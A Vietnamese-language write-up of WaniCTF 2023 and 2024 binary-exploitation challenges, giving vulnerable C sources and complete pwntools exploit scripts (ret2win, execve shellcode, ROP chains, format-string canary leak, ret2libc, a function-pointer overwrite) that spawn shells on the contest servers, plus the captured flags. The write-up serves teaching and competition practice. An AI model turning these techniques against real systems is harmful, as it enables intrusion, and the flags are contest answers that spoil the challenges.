# (writeup) WaniCTF 2023
## netcat (Beginner)
- đơn giản là netcat rồi tính máy tính thôi
- khỏi script =)))))

>FLAG{1375_k339_17_u9_4nd_m0v3_0n_2_7h3_n3x7!}
---
## only once (Beginner)
- bài này cũng thế, nhưng coi source ms hiểu được
- source code:
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
alarm(180);
}
int rand_gen() { return rand() % 1000; }
void win() { system("/bin/sh"); }
int main() {
init();
srand((unsigned int)time(NULL));
int x = rand_gen(), y = rand_gen();
int score = 0, chall = 1;
char buf[8];
while (1) {
printf("\n+---------------------------------------+\n");
printf("| your score: %d, remaining %d challenges |\n", score, chall);
printf("+---------------------------------------+\n\n");
if (chall == 0) {
printf("Bye!\n");
break;
}
printf("%3d + %3d = ", x, y);
scanf("%8s", buf);
if (atoi(buf) == x + y) {
printf("Cool!\n");
score++;
} else {
printf("Oops...\n");
score = 0;
}
if (score >= 3) {
printf("Congrats!\n");
win();
}
x = rand_gen();
y = rand_gen();
chall--;
}
return 0;
}
```
- này tựa tựa lỗi IOF nhưng k phải, lỗi là nếu ta nhập hơn 8 byte ngay đây sẽ ra shell
```c
scanf("%8s", buf);
```

> FLAG{y0u_4r3_600d_47_c41cu14710n5!}
---
## ret2win (Easy)
- run file thử và dựa vào đề in ra biết được offset cũng như hướng đi
- ret2win đơn giản và nhẹ nhàng

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./chall',checksec=False)
#p = process(exe.path)
p = remote('ret2win-pwn.wanictf.org',9003)
payload = b'A'*40
payload += p64(exe.sym['win'])
p.sendafter(b'> ',payload)
p.interactive()
```
>FLAG{f1r57_5739_45_4_9wn3r}
---
## shellcode_basic (normal)
- tên đề cũng như chall cho sẵn script
- việc mình là chèn shellcode là xong

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./chall',checksec=False)
#p = process(exe.path)
p = remote('shell-basic-pwn.wanictf.org', 9004)
shellcode = asm(
'''
mov rbx, 29400045130965551
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
''', arch='amd64')
p.sendline(shellcode)
p.interactive()
```
>FLAG{NXbit_Blocks_shellcode_next_step_is_ROP}
---
## Beginner ROP (normal)
- check file + checksec

- check source
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BUF_SIZE 32
#define MAX_READ_LEN 96
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
alarm(180);
}
void show_stack(char *buf) {
printf("\n #############################################\n");
printf(" # stack state #\n");
printf(" #############################################\n\n");
printf(" hex string\n");
for (int i = 0; i < MAX_READ_LEN; i += 8) {
printf(" +--------------------+----------+\n");
printf(" +0x%02x | 0x%016lx | ", i, *(unsigned long *)(buf + i));
for (int j = 7; j > -1; j--) {
char c = *(char *)(buf + i + j);
if (c > 0x7e || c < 0x20)
c = '.';
printf("%c", c);
}
if (i == 40)
printf(" | <- TARGET!!!\n");
else
printf(" |\n");
}
printf(" +--------------------+----------+\n");
}
void pop_rax_ret() { asm("pop %rax; ret"); }
void xor_rsi_ret() { asm("xor %rsi, %rsi; ret"); }
void xor_rdx_ret() { asm("xor %rdx, %rdx; ret"); }
void mov_rsp_rdi_pop_ret() {
asm("mov %rsp, %rdi\n"
"add $0x8, %rsp\n"
"ret");
}
void syscall_ret() { asm("syscall; ret"); }
int ofs = 0, ret = 0;
int main() {
init();
char buf[BUF_SIZE] = {0};
printf("Let's practice ROP attack!\n");
while (ofs < MAX_READ_LEN) {
show_stack(buf);
printf("your input (max. %d bytes) > ", MAX_READ_LEN - ofs);
ret = read(0, buf + ofs, MAX_READ_LEN - ofs);
if (ret < 0)
return 1;
ofs += ret;
}
return 0;
}
```
- bài này là ROPchain
- thì sẽ liên quan tới rdi,rsi,rdx và rax
- thì có lẽ mình tìm pop từng cái k được (không đủ)

- thì trong source code có tạo ra từng hàm cho mình mà các hàm đều liên quan đến 3 thằng mình sẽ cần (rdi,rsi,rdx)

- thì idea trước mắt sẽ là ret từng cài luôn
- riêng thằng rdi thì nó sẽ đưa vị trí $rsp vào $rdi khi return (tức là ngay $rbp ở lần nhập của mình)
- vậy thì mình sẽ để '/bin/sh\0' ngay trước $rip
- và cần padding đủ 96 byte để kết thúc vòng lặp while và return

- trong hình là '/bin/sh\0' đã vào $rdi
- nhưng ở ret thứ 2 thì xor của rsi lại trỏ đến địa chỉ (bad)
- lúc này đổi hướng suy nghĩ:
- nếu trên source code có hàm xor_rsi các kiểu thì gadget của cái đó chắc sẽ có

- vậy mình sẽ lấy gadget xor cúi cùng ở 2 thanh ghi rsi và rdx

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./chall',checksec=False)
#p = process(exe.path)
p = remote('beginners-rop-pwn.wanictf.org',9005)
# gdb.attach(p,gdbscript='''
# b*main+162
# b*main+231
# c
# ''')
# input()
pop_rax = 0x0000000000401371
xor_rsi = 0x000000000040137e
xor_rdx = 0x000000000040138d
syscall = 0x00000000004013af
payload = b'A'*32
payload += b'/bin/sh\0'
payload += p64(exe.sym['mov_rsp_rdi_pop_ret'])
payload += p64(xor_rsi)
payload += p64(xor_rdx)
payload += p64(pop_rax) + p64(0x3b)
payload += p64(exe.sym['syscall_ret'])
payload = payload.ljust(96,b'B')
p.sendafter(b'> ',payload)
p.interactive()
```
>FLAG{h0p_p0p_r0p_po909090p93r!!!!}
---
## Canaleak (normal)
- check file + checksec

- check source
```c
#include <stdio.h>
#include <stdlib.h>
void init() {
// alarm(600);
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void win() { system("/bin/sh"); }
int main() {
char nope[20];
init();
while (strcmp(nope, "YES")) {
printf("You can't overwrite return address if canary is enabled.\nDo you "
"agree with me? : ");
scanf("%s", nope);
printf(nope);
}
}
```
- hướng đi của đề là mình cần ret2win nhưng đồng thời k động chạm tới canary
- thì mình sẽ leak canary, rồi chèn payload sao cho tới vị trí canary thì mình ghi lại canary r ghi đè tới rip trỏ tới hàm mình cần
- chương trình sẽ vào vòng lặp **while()**, miễn payload mình nó khác với chứ 'YES' thì tiếp tục cho mình nhập lần sau
- thì trong source có hàm **printf()** in lại những gì mình nhập ---> nghĩ ngay đến fmtstr

> vị trí thứ 9 là %9$p
- và để kết thúc vòng lặp thì mình cần có chữ 'YES' trong payload và ghi đè canary rồi ret về ``win``

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./chall',checksec=False)
#p = process(exe.path)
p = remote('canaleak-pwn.wanictf.org',9006)
# gdb.attach(p,gdbscript='''
# b*main+75
# c
# ''')
# input()
p.sendlineafter(b'me? : ',b'%9$p')
cana_leak = int(p.recvline()[:-1],16)
log.info("cana leak: " + hex(cana_leak))
payload = b'YES\0\0\0\0\0'
payload += b'A'*16
payload += p64(cana_leak)
payload += b'A'*8
payload += p64(exe.sym['win']+5)
p.sendlineafter(b'me? : ',payload)
p.interactive()
```
>FLAG{N0PE!}
---
## ret2libc (normal)
- check file + checksec

- check source
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BUF_SIZE 32
#define MAX_READ_LEN 128
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
alarm(180);
}
void show_stack(char *buf) {
printf("\n #############################################\n");
printf(" # stack state #\n");
printf(" #############################################\n\n");
printf(" hex string\n");
for (int i = 0; i < MAX_READ_LEN; i += 8) {
printf(" +--------------------+----------+\n");
printf(" +0x%02x | 0x%016lx | ", i, *(unsigned long *)(buf + i));
for (int j = 7; j > -1; j--) {
char c = *(char *)(buf + i + j);
if (c > 0x7e || c < 0x20)
c = '.';
printf("%c", c);
}
if (i == 40)
printf(" | <- TARGET!!!\n");
else
printf(" |\n");
}
printf(" +--------------------+----------+\n");
}
int ofs = 0, ret = 0;
int main() {
init();
char buf[BUF_SIZE] = {0};
printf("Can you master ROP?\n");
while (ofs < MAX_READ_LEN) {
show_stack(buf);
printf("your input (max. %d bytes) > ", MAX_READ_LEN - ofs);
ret = read(0, buf + ofs, MAX_READ_LEN - ofs);
if (ret < 0)
return 1;
ofs += ret;
}
return 0;
}
```
- tìm pop_rdi k có nên hướng đi leak libc như bth không được


- nên đổi qua chơi 'dirty' xíu là lấy những gì đề in ra

> vị trí đó là ``__libc_start_call_main`` nên tính offset thôi
- việc còn lại là /bin/sh với system như bth
> pop_rdi có thể lấy của libc vì exe k có sẵn
> thêm ret cho stack chẵn

- script: (của pwninit lấy đỡ cho nhanh XDD)
```python
#!/usr/bin/env python3
from pwn import *
exe = ELF("./chall_patched",checksec=False)
libc = ELF("./libc.so.6",checksec=False)
ld = ELF("./ld-2.35.so",checksec=False)
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("ret2libc-pwn.wanictf.org", 9007)
return r
def main():
r = conn()
libc_offset = libc.sym['__libc_start_call_main']
r.recvuntil(b'+0x28 | ')
libc_leak = int(r.recv(18),16)
libc.address = libc_leak - (libc_offset + 128)
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))
pop_rdi = libc.address + 0x000000000002a3e5
ret = 0x000000000040101a
payload = b'A'*40
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh')))
payload += p64(ret)
payload += p64(libc.sym['system'])
payload = payload.ljust(128,b'B')
r.sendafter(b'> ',payload)
r.interactive()
if __name__ == "__main__":
main()
```
>FLAG{c0n6r475_0n_6r4du471n6_45_4_9wn_b361nn3r!}
---
## Time Table (hard)
- check file + checksec

- check ida

- chạy hàm **register_student(v4)** đầu tiên

- ở lần nhầp đàu tiên cho user(name), id và major
- dù k có BOF nhưng khá là ghi ngờ biến **buf**
- source code bug position:

```
lần nhập mandatory sẽ cấu trúc 3 thằng : name | type | detail
lần nhập elective chỉ có 2 thằng : name | .... | detail
type của elective sẽ giữ nguyên của cái mandatory nếu mandatory được gọi lên trước
```
- ida bug position:

```
__fastcall : gọi con trỏ biến v4[1]
```
- idea: k có chỗ tạo shell hay ret2win nên sẽ làm ret2libc hoặc one_gadget
- đầu tiên sẽ leak libc
- hướng đi:
- - chọn case 1 (mandatory)
- - case 2 (elective) ghi đè tại vị trí của môn học ở (mandatory)
- - case 4 (write_memo) sẽ ghi stderr để leak
- - case 2 (elective) để lấy byte leak (``tên môn - tên giáo`` sư bây giờ sẽ đổi thành ``tên môn - byte leak``)
```
lúc này lại thấy ghi đè cả luôn biến professor
```
- vì chall k cho libc nên tìm trên libc.blukat.me và lấy xuống
- đồng thời pwninit luôn
- - tiếp tục sau khi leak libc là tới lần chờ nhập môn ở case 2
- - lúc này ta sẽ chọn môn khác tránh trùng nơi tkb mình dg leak
- - rồi case4 lần nữa để ghi thành địa chỉ r_w và tới one_gadget
- nhưng thử hết các gadget thì đều k cho ta shell
- DEBUG chậm lại lúc ``call rax``

- lúc này nó call vào địa chỉ của 1 user hơi lạ lạ
- user là lúc từ khi mình bắt đầu nhập vào
```
lúc này là cho nhập 9 byte 'a'
```
- thử lại với content khác

```
lúc này là cho nhập cỡ 7 byte 'a'
```
- thế thì thay vì nhập nùi byte 'a', ta sẽ nhập '/bin/sh\0' và system luôn, không cần one_gadget

- remote thôi

- script:
```python
#!/usr/bin/python3
from pwn import *
exe = ELF('./chall_patched', checksec=False)
libc = ELF('./libc6_2.35-0ubuntu3.1_amd64.so', checksec=False)
context.binary = exe
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*register_elective_class+0
b*register_elective_class+211
c
''')
input()
def info(msg): return log.info(msg)
def sla(msg, data): return p.sendlineafter(msg, data)
def sa(msg, data): return p.sendafter(msg, data)
def sl(data): return p.sendline(data)
def s(data): return p.send(data)
if args.REMOTE:
p = remote('timetable-pwn.wanictf.org', 9008)
else:
p = process(exe.path)
GDB()
sa(b"name : ", b'/bin/sh\0')
sla(b"id : ", b"1234567")
sla(b"major : ", b"1234567")
sla(b">", b"1") #mandatory
sla(b">", b"1")
sla(b">", b"2") #elective
sla(b">", b"1")
sla(b">", b"4") #write_memo
sla(b">", b"FRI 3")
sa(b"CLASS\n", p64(exe.sym['stderr']))
sla(b">", b"2")
p.recvuntil(b"Intellect - ")
leak_libc = u64(p.recvline()[:-1] + b"\0\0")
info("leak libc: " + hex(leak_libc))
libc.address = leak_libc - (libc.sym['_IO_2_1_stderr_'])
info("leak libc: " + hex(libc.address))
sla(b">", b"0")
one_gadget = [0x50a37,0xebcf1,0xebcf5,0xebcf8,0xebd52,0xebdaf,0xebdb3]
sla(b">", b"4")
sla(b">", b"FRI 3")
sa(b"CLASS\n", p64(0x00000000405a00) + p64(libc.sym['system']))
sla(b">", b"2")
sla(b">", b"1")
p.interactive()
```
>FLAG{Do_n0t_confus3_mandatory_and_el3ctive}
# (writeup) WaniCTF 2024
## nc
```bash
$ nc chal-lz56g6.wanictf.org 9003
15+1=0x10
FLAG{th3_b3ginning_0f_th3_r0ad_to_th3_pwn_p1ay3r}
```
>FLAG{th3_b3ginning_0f_th3_r0ad_to_th3_pwn_p1ay3r}
## do-not-rewrite
```py
#!/usr/bin/python3
from pwn import *
exe = ELF('./chall', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*main+171
b*main+231
b*main+287
b*main+407
c
''')
input()
if args.REMOTE:
p = remote('chal-lz56g6.wanictf.org',9004)
else:
p = process(exe.path)
p.recvuntil(b'show_flag = ')
show_flag = int(p.recvline(),16)
exe.address = show_flag - exe.symbols['show_flag']
info("exe leak: " + hex(show_flag))
info("exe base: " + hex(exe.address))
# GDB()
sl(b'a')
sl(b'.')
sl(b'.')
sl(b'a')
sl(b'.')
sl(b'.')
sl(b'a')
sl(b'.')
sl(b'.')
sl(p64(show_flag+5))
sl(b'.')
sl(b'.')
p.interactive()
#FLAG{B3_c4r3fu1_wh3n_using_th3_f0rm4t_sp3cifi3r_1f_in_sc4nf}
```
>FLAG{B3_c4r3fu1_wh3n_using_th3_f0rm4t_sp3cifi3r_1f_in_sc4nf}
## do-not-rewrite2
```py
#!/usr/bin/python3
from pwn import *
exe = ELF('./chall_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*main+171
b*main+231
b*main+287
b*main+407
b*main+522
c
''')
input()
if args.REMOTE:
p = remote('chal-lz56g6.wanictf.org',9005)
else:
p = process(exe.path)
p.recvuntil(b'printf = ')
printf = int(p.recvline(),16)
libc.address = printf - libc.sym.printf
info("libc leak: " + hex(printf))
info("libc base: " + hex(libc.address))
GDB()
pop_rdi = libc.address + 0x000000000010f75b
sl(b'a')
sl(b'.')
sl(b'.')
sl(b'a')
sl(b'.')
sl(b'.')
sl(b'a')
sl(b'.')
sl(b'.')
payload = p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0'))) + p64(pop_rdi+1) + p64(libc.sym.system)
sl(payload)
sl(b'.')
sl(b'.')
p.interactive()
#FLAG{r0p_br0d3n_0ur_w0r1d}
```
>FLAG{r0p_br0d3n_0ur_w0r1d}